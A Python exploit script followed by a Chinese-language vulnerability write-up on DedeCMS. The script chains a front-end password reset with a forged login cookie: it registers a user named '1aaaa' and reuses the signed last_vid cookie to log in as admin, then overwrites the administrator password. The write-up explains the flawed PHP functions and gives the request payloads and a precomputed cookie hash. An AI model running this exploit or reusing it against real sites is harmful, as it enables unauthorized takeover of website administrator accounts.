# coding=utf-8
import requests
import re
if __name__ == "__main__":
dede_host = "http://127.0.0.1/"
oldpwd = '123456'
newpwd = "cnvdcnvd"
s = requests.Session()
if '系统关闭了会员功能' in requests.get(dede_host + 'member/reg_new.php').content:
exit('The system has closed the member function .Can not attack !!!')
else:
print "The system opened the membership function, I wish you good luck !!"
headers = {"Referer": dede_host + "member/reg_new.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('1.jpg', "wb")
file.write(rs)
file.close()
vdcode = raw_input("Please enter the registration verification code : ")
userid = '0000001'
uname = '0000001'
userpwd = '123456'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
"Content-Type": "application/x-www-form-urlencoded"}
data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={userpwd}&userpwdok={userpwd}&email=0000001%400000001.com&safequestion=0&safeanswer=&sex=%E7%94%B7&vdcode={vdcode}&agree=".format(
userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode)
rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers)
if "验证码错误" in rs.content:
exit("Verification code error, account registration failed")
elif '注册成功' in rs.content:
print 'registration success !!'
rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid))
if "资料尚未通过审核" in rs.content:
exit("User information has not been approved !!!") # 会员使用权限开通状态(-10 邮件验证 -1 手工审核, 0 没限制)：
searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
last_vid__ckMd5 = searchObj.group(1)
s.cookies['DedeUserID'] = userid
s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
rs = s.get(dede_host + "/member/index.php")
if "class=\"userName\">admin</a>" in rs.text:
print "Administrator login successful !!"
headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('2.jpg', "wb")
file.write(rs)
file.close()
vdcode = raw_input("Please enter the verification code : ")
data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
"safequestion": "0", "newsafequestion": "0", "sex": "男", "email": "admin@admin.com", "vdcode": vdcode}
rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data)
if "成功更新你的基本资料" in rs.content:
print "Administrator password modified successfully !!"
print "The new administrator password is : " + newpwd
else:
print "attack fail"
很早之前发现的漏洞，整体都比较有趣，分享出来一下
漏洞危害
dedecms开启会员中心注册功能，即可完成管理员密码重置
漏洞成因
利用两个漏洞即可完成管理员重置：
dedecms前台用户任意密码重置
dedecms前台任意用户登录
第一个漏洞就是最近爆出的dedecms前台漏洞，单一危害挺有限，此处不做分析
大家可以参考下lemon的文章
上面文章能重置管理员密码是由于：
1、前台重置dede_member的admin密码
2、cookie绕过admin登录前台(默认是不能登录的)
3、通过前台功能修改dede_admin中的admin密码
lemon文章是利用老版本注入获取cookie加密key 直接伪造一个管理员的cookie
下面分析下如何完成前台任意用户登陆
判断用户登陆与否的isLogin函数
/**
* 验证用户是否已经登录
*
* @return bool
*/
function IsLogin()
{
if($this->M_ID > 0) return TRUE;
else return FALSE;
}
看下M_ID来自哪里
class MemberLogin
{
var $M_ID;
var $M_LoginID;
var $M_MbType;
var $M_Money;
var $M_Scores;
var $M_UserName;
var $M_Rank;
var $M_Face;
var $M_LoginTime;
var $M_KeepTime;
var $M_Spacesta;
var $fields;
var $isAdmin;
var $M_UpTime;
var $M_ExpTime;
var $M_HasDay;
var $M_JoinTime;
var $M_Honor = '';
var $memberCache='memberlogin';
//php5构造函数
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
看下GetNum
/**
* 获取整数值
*
* @access public
* @param string $fnum 处理的数值
* @return string
*/
function GetNum($fnum){
$fnum = preg_replace("/[^0-9\.]/", '', $fnum);
return $fnum;
}
剔除参数中的非数字型字符 后面需要用到
看下GetCookie函数
/**
* 获取Cookie记录
*
* @param $key 键名
* @return string
*/
if ( ! function_exists('GetCookie'))
{
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
}
DedeUserID与DedeUserID__ckMd5 需满足如下关系
$_COOKIE[$key.'__ckMd5'] == substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)
admin对应的DedeUserID应为1
如何找出对应的DedeUserID__ckMd5才是关键
对该程序其他使用了PutCookie的地方进行查找，找寻可以伪造出1 的cookie密文
/member/index.php
/*-----------------------------
//会员空间主页
function space_index(){ }
------------------------------*/
else
{
require_once(DEDEMEMBER.'/inc/config_space.php');
if($action == '')
{
include_once(DEDEINC."/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
//更新最近访客记录及站点统计记录
$vtime = time();
$last_vtime = GetCookie('last_vtime');
$last_vid = GetCookie('last_vid');
if(empty($last_vtime))
{
$last_vtime = 0;
}
if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',') )
{
if($last_vid!='')
{
$last_vids = explode(',',$last_vid);
$i = 0;
$last_vid = $uid;
foreach($last_vids as $lsid)
{
if($i>10)
{
break;
}
else if($lsid != $uid)
{
$i++;
$last_vid .= ','.$last_vid;
}
}
}
else
{
$last_vid = $uid;
}
PutCookie('last_vtime', $vtime, 3600*24, '/');
PutCookie('last_vid', $last_vid, 3600*24, '/');
cookie中last_vid为空下
$last_vid = $uid;
然后PutCookie('last_vid', $last_vid, 3600*24, '/');
只要能构造$uid的值即能获取想要的cookie 1对应的密文
利用方法
1.前台管理员密码重置
member/resetpassword.php
post：dopost=safequestion&gourl=&id=1&safequestion=0.0
/member/resetpassword.php?dopost=getpasswd&id=1&;key=w0AKS9eI
两步重置前台管理员密码
2.前台管理员登陆
由于dede用户注册有字符长度限制 而uid即为注册的用户名 再利用Getnum函数的剔除非数字型字符的功能 于是注册1aaaa用户
dede默认安装注册需要邮箱验证 后台人工更改为无需验证
前台访问member/index.php?uid=1aaaa
1aaaa对应的ckMD5为73c6ca2cadef68f9
3.前台用户密码修改
前台密码修改连带修改后台密码
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query1);
//如果是管理员，修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
$query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query2);
}
重置密码之后即可用重置后的密码登陆dede后台
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